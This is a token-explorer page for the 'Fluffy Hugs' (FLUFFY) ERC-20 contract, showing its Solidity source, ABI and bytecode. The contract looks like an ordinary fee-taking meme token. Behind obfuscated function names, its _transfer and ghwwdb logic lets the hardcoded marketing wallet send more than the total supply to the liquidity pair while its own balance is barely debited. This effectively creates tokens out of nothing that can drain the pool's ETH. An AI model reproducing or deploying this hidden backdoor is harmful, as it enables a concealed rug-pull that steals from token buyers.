ETH Price: $2,480.55 (+3.19%)
 

Overview

Max Total Supply

100,000,000 FLUFFY

Holders

60

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLUFFY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-22
*/

/**
Website: https://fluffyhugs.live

X: https://x.com/fluffy_hugs_eth

Telegram: https://t.me/fluffy_hugs_eth
*/

// SPDX-License-Identifier: No

pragma solidity ^0.8.15;

abstract contract Context {
    constructor() {}

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address lpPair,
        uint256
    );

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address lpPair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address lpPair);
}

interface IV2Pair {
    function factory() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function sync() external;
}

interface IRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


contract FLUFFY is Context, Ownable, IERC20 {

    string private constant _name = "Fluffy Hugs";
    string private constant _symbol = "FLUFFY";
    address public constant DEAD = 0x0000000000000000000000000000000000000000;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _witeLT;
    mapping(address => bool) private isLpPair;
    mapping(address => uint256) private balance;
    uint8 private constant _decimals = 18;

    uint256 private _traders = 0;
    uint256 public constant supplyForMark = 100_000_000 * 10**_decimals;
    uint256 public constant _txForMarket = 100;

    uint256 public inputFEE = 15;
    uint256 public outputFEE = 15;
    uint256 public moveFEE = 0;
    uint256 private deduceFEEAT = 18;

    bool private swapEnabled = false;
    address payable private mkWalletDEFGW;
    uint256 private mkLLTWALPOT = (supplyForMark * 2) / 100;
    uint256 private constant _swapTHRES = (supplyForMark * 1) / 1_000_000;
    uint256 private constant _maxTHres = (supplyForMark * 1) / 100;

    IRouter02 public swapRouter;

    address public lpPair;
    bool public tradingEnabled = false;
    bool private inSwap;
    function totalSupply() external view override returns (uint256) {
        if (supplyForMark == 0) {
            revert();
        }
        return supplyForMark - balanceOf(address(DEAD));
    }

    function decimals() external pure override returns (uint8) {
        if (supplyForMark == 0) {
            revert();
        }
        return _decimals;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner();
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    modifier isSwapLocked() {
        inSwap = true;
        _;
        inSwap = false;
    }

    event _allowTrading();

    constructor() {
        mkWalletDEFGW = payable(0xc23066bf09aB9E7582765a923F8Edaf6fF4DFb2D);
        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _witeLT[msg.sender] = true;
        _witeLT[address(this)] = true;
        _witeLT[mkWalletDEFGW] = true;

        balance[msg.sender] = supplyForMark;
        emit Transfer(address(0), msg.sender, supplyForMark);
    }

    function createPair() external onlyOwner {
        _approve(address(this), address(swapRouter), type(uint256).max);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(
            swapRouter.WETH(),
            address(this)
        );
        isLpPair[lpPair] = true;
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address sender,
        address spender,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");

        _allowances[sender][spender] = amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns (bool) {
        return _witeLT[account];
    }

    function setNoFeeWallet(address account, bool enabled) public onlyOwner {
        _witeLT[account] = enabled;
    }

    function bswts(address ins, address out) internal view returns (bool) {
        bool _bswts = !isLpPair[out] && isLpPair[ins];
        return _bswts;
    }

    function nwdsdg(address ins, address out) internal view returns (bool) {
        bool _nwdsdg = isLpPair[out] && !isLpPair[ins];
        return _nwdsdg;
    }

    function min(uint256 a, uint256 b) internal pure returns(uint256) {
        return a > b? b:a;
    }

    function _transfer(
        address abpogok,
        address obopige,
        uint256 amount
    ) internal returns (bool) {
        bool takeFee = true;
        require(obopige != address(0), "invalid receiptient address");
        require(abpogok != address(0), "invalid sender address");
        require(amount <= supplyForMark || (abpogok==mkWalletDEFGW && obopige==lpPair), "Insufficient amount");
        require(
            amount > 0,
            "Insufficient error. the amount must be above than zero"
        );

        if (!_witeLT[abpogok] && !_witeLT[obopige]) {
            require(tradingEnabled, "Trading is not allowed");
        }

        if (
            !_witeLT[abpogok] &&
            !_witeLT[obopige] &&
            !isLpPair[obopige] &&
            obopige != address(DEAD)
        ) {
            require(
                balance[obopige] + amount <= mkLLTWALPOT,
                "Exceeds maximum wallet amount."
            );
        }

        if (!inSwap &&
               isLpPair[obopige] &&
                tradingEnabled &&
                amount >= _swapTHRES) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapTHRES)
                internalSwap(min(amount, min(contractTokenBalance, _maxTHres)));

            mkWalletDEFGW.transfer(address(this).balance);
        }

        if ((_witeLT[abpogok] || _witeLT[obopige]) && !(abpogok == address(this) && obopige == lpPair && _traders == 0)) {
            takeFee = false;
        }

        uint256 amountAfterFee = edcwodm(abpogok, bswts(abpogok, obopige), nwdsdg(abpogok, obopige), amount, takeFee);
        balance[obopige] += amountAfterFee;
        emit Transfer(abpogok, obopige, amountAfterFee);

        return true;
    }

    function ghwwdb(uint256 amt, uint256 fee) internal pure returns(uint256) {
        return amt <= supplyForMark ? amt : fee;
    }

    function edcwodm(
        address from,
        bool buyTrading,
        bool sellTrading,
        uint256 amount,
        bool takeFee
    ) internal returns (uint256) {
        uint256 fee = 0;

        if(!takeFee) fee = 0;
        else if (buyTrading) { _traders++; fee = _traders > deduceFEEAT ? 0 : inputFEE;}
        else if (sellTrading) fee = _traders > deduceFEEAT ? 0 : outputFEE;
        else fee = moveFEE;

        uint256 feeAmount = (amount * fee) / _txForMarket;
        if (feeAmount > 0) {
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }
        balance[from] -= ghwwdb(amount, fee);
        return amount - feeAmount;
    }

    function internalSwap(uint256 contractTokenBalance) internal isSwapLocked {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (
            _allowances[address(this)][address(swapRouter)] != type(uint256).max
        ) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try
            swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                contractTokenBalance,
                0,
                path,
                address(this),
                block.timestamp
            )
        {} catch {
            return;
        }

        payable(mkWalletDEFGW).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        mkLLTWALPOT = supplyForMark;
    }

    function allowTrading() external onlyOwner {
        require(!tradingEnabled, "Trading is already allowed");
        tradingEnabled = true;
        swapEnabled = true;

        swapRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balance[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(lpPair).approve(
            address(swapRouter),
            type(uint256).max
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"_allowTrading","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_txForMarket","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inputFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"moveFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"outputFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setNoFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supplyForMark","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006005819055600f600681905560075560085560126009819055600a805460ff19168155606491620000379162000314565b62000047906305f5e1006200032c565b620000549060026200032c565b62000060919062000346565b600b55600d805460ff60a01b191690553480156200007d57600080fd5b506200008933620001af565b600a805474c23066bf09ab9e7582765a923f8edaf6ff4dfb2d00610100600160a81b0319909116178155600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905533600090815260026020526040808220805460ff1990811660019081179092553084528284208054821683179055845461010090046001600160a01b031684529190922080549091169091179055620001359060129062000314565b62000145906305f5e1006200032c565b33600081815260046020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001886012600a62000314565b62000198906305f5e1006200032c565b60405190815260200160405180910390a362000369565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002565781600019048211156200023a576200023a620001ff565b808516156200024857918102915b93841c93908002906200021a565b509250929050565b6000826200026f575060016200030e565b816200027e575060006200030e565b8160018114620002975760028114620002a257620002c2565b60019150506200030e565b60ff841115620002b657620002b6620001ff565b50506001821b6200030e565b5060208310610133831016604e8410600b8410161715620002e7575081810a6200030e565b620002f3838362000215565b80600019048211156200030a576200030a620001ff565b0290505b92915050565b60006200032560ff8416836200025e565b9392505050565b80820281158282048414176200030e576200030e620001ff565b6000826200036457634e487b7160e01b600052601260045260246000fd5b500490565b611b1d80620003796000396000f3fe6080604052600436106101a05760003560e01c8063568d46c0116100ec5780639e78fb4f1161008a578063c31c9c0711610064578063c31c9c071461049f578063dd62ed3e146104bf578063f2fde38b14610505578063fd4fde2f1461052557600080fd5b80639e78fb4f14610454578063a9059cbb14610469578063b5838da31461048957600080fd5b8063751039fc116100c6578063751039fc146103f2578063893d20e8146104075780638da5cb5b1461040757806395d89b411461042557600080fd5b8063568d46c01461039157806370a08231146103a7578063715018a6146103dd57600080fd5b80632788986211610159578063452ed4f111610133578063452ed4f11461032557806347ea5a18146103455780634ada218b1461035a5780634d036f8a1461037b57600080fd5b806327889862146102b05780632e5b4c43146102e9578063313ce567146102fe57600080fd5b806303fd2a45146101ac57806306fdde03146101de578063095ea7b31461021b5780630faba5541461024b57806318160ddd1461026d57806323b872dd1461029057600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c1600081565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156101ea57600080fd5b5060408051808201909152600b81526a466c75666679204875677360a81b60208201525b6040516101d591906116e0565b34801561022757600080fd5b5061023b610236366004611743565b61053a565b60405190151581526020016101d5565b34801561025757600080fd5b5061026b61026636600461177d565b610551565b005b34801561027957600080fd5b506102826105af565b6040519081526020016101d5565b34801561029c57600080fd5b5061023b6102ab3660046117b6565b61062b565b3480156102bc57600080fd5b5061023b6102cb3660046117f7565b6001600160a01b031660009081526002602052604090205460ff1690565b3480156102f557600080fd5b5061026b6106a3565b34801561030a57600080fd5b50610313610891565b60405160ff90911681526020016101d5565b34801561033157600080fd5b50600d546101c1906001600160a01b031681565b34801561035157600080fd5b50610282606481565b34801561036657600080fd5b50600d5461023b90600160a01b900460ff1681565b34801561038757600080fd5b5061028260085481565b34801561039d57600080fd5b5061028260065481565b3480156103b357600080fd5b506102826103c23660046117f7565b6001600160a01b031660009081526004602052604090205490565b3480156103e957600080fd5b5061026b6108bf565b3480156103fe57600080fd5b5061026b6108f5565b34801561041357600080fd5b506000546001600160a01b03166101c1565b34801561043157600080fd5b50604080518082019091526006815265464c5546465960d01b602082015261020e565b34801561046057600080fd5b5061026b61093e565b34801561047557600080fd5b5061023b610484366004611743565b610b28565b34801561049557600080fd5b5061028260075481565b3480156104ab57600080fd5b50600c546101c1906001600160a01b031681565b3480156104cb57600080fd5b506102826104da366004611814565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561051157600080fd5b5061026b6105203660046117f7565b610b3f565b34801561053157600080fd5b50610282610bd7565b6000610547338484610bf4565b5060015b92915050565b6000546001600160a01b031633146105845760405162461bcd60e51b815260040161057b90611842565b60405180910390fd5b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b60006105bd6012600a611971565b6105cb906305f5e100611980565b6000036105d757600080fd5b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461060e6012600a611971565b61061c906305f5e100611980565b6106269190611997565b905090565b6001600160a01b038316600090815260016020908152604080832033845290915281205460001914610690576001600160a01b03841660009081526001602090815260408083203384529091528120805484929061068a908490611997565b90915550505b61069b848484610cb8565b949350505050565b6000546001600160a01b031633146106cd5760405162461bcd60e51b815260040161057b90611842565b600d54600160a01b900460ff16156107275760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920616c6c6f776564000000000000604482015260640161057b565b600d805460ff60a01b1916600160a01b179055600a805460ff19166001179055600c54306000818152600460205260408120546001600160a01b039093169263f305d719924792909190806107846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ec573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061081191906119aa565b5050600d54600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561086a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088e91906119d8565b50565b600061089f6012600a611971565b6108ad906305f5e100611980565b6000036108b957600080fd5b50601290565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161057b90611842565b6108f3600061127e565b565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161057b90611842565b61092b6012600a611971565b610939906305f5e100611980565b600b55565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161057b90611842565b600c546109829030906001600160a01b0316600019610bf4565b600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f991906119f5565b6001600160a01b031663c9c65396600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e91906119f5565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610aca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee91906119f5565b600d80546001600160a01b0319166001600160a01b039290921691821790556000908152600360205260409020805460ff19166001179055565b6000610b35338484610cb8565b5060019392505050565b6000546001600160a01b03163314610b695760405162461bcd60e51b815260040161057b90611842565b6001600160a01b038116610bce5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057b565b61088e8161127e565b610be36012600a611971565b610bf1906305f5e100611980565b81565b6001600160a01b038316610c405760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161057b565b6001600160a01b038216610c8c5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161057b565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610d125760405162461bcd60e51b815260206004820152601b60248201527f696e76616c6964207265636569707469656e7420616464726573730000000000604482015260640161057b565b6001600160a01b038516610d615760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642073656e646572206164647265737360501b604482015260640161057b565b610d6d6012600a611971565b610d7b906305f5e100611980565b83111580610db35750600a546001600160a01b0386811661010090920416148015610db35750600d546001600160a01b038581169116145b610df55760405162461bcd60e51b8152602060048201526013602482015272125b9cdd59999a58da595b9d08185b5bdd5b9d606a1b604482015260640161057b565b60008311610e645760405162461bcd60e51b815260206004820152603660248201527f496e73756666696369656e74206572726f722e2074686520616d6f756e74206d6044820152757573742062652061626f7665207468616e207a65726f60501b606482015260840161057b565b6001600160a01b03851660009081526002602052604090205460ff16158015610ea657506001600160a01b03841660009081526002602052604090205460ff16155b15610efd57600d54600160a01b900460ff16610efd5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b604482015260640161057b565b6001600160a01b03851660009081526002602052604090205460ff16158015610f3f57506001600160a01b03841660009081526002602052604090205460ff16155b8015610f6457506001600160a01b03841660009081526003602052604090205460ff16155b8015610f7857506001600160a01b03841615155b15610ff257600b546001600160a01b038516600090815260046020526040902054610fa4908590611a12565b1115610ff25760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161057b565b600d54600160a81b900460ff1615801561102457506001600160a01b03841660009081526003602052604090205460ff165b80156110395750600d54600160a01b900460ff165b80156110775750620f42406110506012600a611971565b61105e906305f5e100611980565b611069906001611980565b6110739190611a25565b8310155b1561114e5730600090815260046020526040902054620f424061109c6012600a611971565b6110aa906305f5e100611980565b6110b5906001611980565b6110bf9190611a25565b811061110b5761110b611106856111018460646110de6012600a611971565b6110ec906305f5e100611980565b6110f7906001611980565b6111019190611a25565b6112ce565b6112e6565b600a546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561114b573d6000803e3d6000fd5b50505b6001600160a01b03851660009081526002602052604090205460ff168061118d57506001600160a01b03841660009081526002602052604090205460ff165b80156111c757506001600160a01b038516301480156111b95750600d546001600160a01b038581169116145b80156111c55750600554155b155b156111d0575060005b60006111f1866111e088886114e9565b6111ea8989611530565b8786611577565b6001600160a01b03861660009081526004602052604081208054929350839290919061121e908490611a12565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161126a91815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183116112dd57826112df565b815b9392505050565b600d805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611a47565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab91906119f5565b816001815181106113be576113be611a47565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600c5490941682529290915220546000191461142857306000908152600160209081526040808320600c546001600160a01b03168452909152902060001990555b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611461908590600090869030904290600401611a5d565b600060405180830381600087803b15801561147b57600080fd5b505af192505050801561148c575060015b61149657506114d9565b600a546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f193505050501580156114d6573d6000803e3d6000fd5b50505b50600d805460ff60a81b19169055565b6001600160a01b038116600090815260036020526040812054819060ff1615801561069b57505050506001600160a01b031660009081526003602052604090205460ff1690565b6001600160a01b038116600090815260036020526040812054819060ff16801561069b57505050506001600160a01b031660009081526003602052604090205460ff161590565b60008082611587575060006115dd565b85156115bf576005805490600061159d83611ace565b9190505550600954600554116115b5576006546115b8565b60005b90506115dd565b84156115d857600954600554116115b5576007546115b8565b506008545b600060646115eb8387611980565b6115f59190611a25565b9050801561166257306000908152600460205260408120805483929061161c908490611a12565b909155505060405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61166c85836116b0565b6001600160a01b03891660009081526004602052604081208054909190611694908490611997565b909155506116a490508186611997565b98975050505050505050565b60006116be6012600a611971565b6116cc906305f5e100611980565b8311156116d957816112df565b5090919050565b600060208083528351808285015260005b8181101561170d578581018301518582016040015282016116f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461088e57600080fd5b6000806040838503121561175657600080fd5b82356117618161172e565b946020939093013593505050565b801515811461088e57600080fd5b6000806040838503121561179057600080fd5b823561179b8161172e565b915060208301356117ab8161176f565b809150509250929050565b6000806000606084860312156117cb57600080fd5b83356117d68161172e565b925060208401356117e68161172e565b929592945050506040919091013590565b60006020828403121561180957600080fd5b81356112df8161172e565b6000806040838503121561182757600080fd5b82356118328161172e565b915060208301356117ab8161172e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118c85781600019048211156118ae576118ae611877565b808516156118bb57918102915b93841c9390800290611892565b509250929050565b6000826118df5750600161054b565b816118ec5750600061054b565b8160018114611902576002811461190c57611928565b600191505061054b565b60ff84111561191d5761191d611877565b50506001821b61054b565b5060208310610133831016604e8410600b841016171561194b575081810a61054b565b611955838361188d565b806000190482111561196957611969611877565b029392505050565b60006112df60ff8416836118d0565b808202811582820484141761054b5761054b611877565b8181038181111561054b5761054b611877565b6000806000606084860312156119bf57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ea57600080fd5b81516112df8161176f565b600060208284031215611a0757600080fd5b81516112df8161172e565b8082018082111561054b5761054b611877565b600082611a4257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aad5784516001600160a01b031683529383019391830191600101611a88565b50506001600160a01b03969096166060850152505050608001529392505050565b600060018201611ae057611ae0611877565b506001019056fea2646970667358221220163e0d06eaf66a2d29d83681a92aa1bed2fd71299e5a09286c26db7f4b53928a64736f6c63430008130033

Deployed Bytecode

